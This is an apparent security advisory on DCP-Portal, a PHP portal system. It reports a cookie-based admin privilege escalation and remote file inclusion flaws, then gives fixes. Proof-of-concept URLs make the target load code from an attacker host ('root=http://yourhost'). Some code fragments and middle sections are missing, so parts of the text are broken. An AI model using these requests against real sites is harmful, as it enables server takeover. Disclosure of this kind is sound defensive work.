I. BACKGROUND DCP is a .php program designed to run portals. It have forums, news system, accounts etc. More information about DCP can be found on http://www.dcp-portal.org II. DESCRIPTION a) privilege escalation vulnerability Any user can become admin simply by setting appropriate cookie. The vulnerability exists in all .php files in admin directory. Even in admin/index.php file: [ admin/index.php ] ---------------------------------------------------------------- "; ?> Then use this request to exploit vulnerability: http://vuln_host/library/editor/editor.php?root=http://yourhost You'll see "hacked" on requested page. [ library/lib.php vuln: ] On remote machine create library/lib_nav.php file with such contents: ; ?> Use this link to exploit vulnerability: http://vuln_host/library/lib.php?root=http://yourhost You'll see "hacked on requested page. VI. SOLUTION a) privilege escalation vulnerability dcp-portal saves all users information in sql table. It should check if username and password match these from sql database and if admin field of this user is >=1. If it is, the admin access should be granted. b) script injection vulnerabilities In both vulnerable files (library/editor/editor.php and library/lib.php) config.inc.php file should be included at the beginning: - in editor.php: include("../../config.inc.php"); - in lib.php: include("../config.inc.php"); Grzegorz Aksamit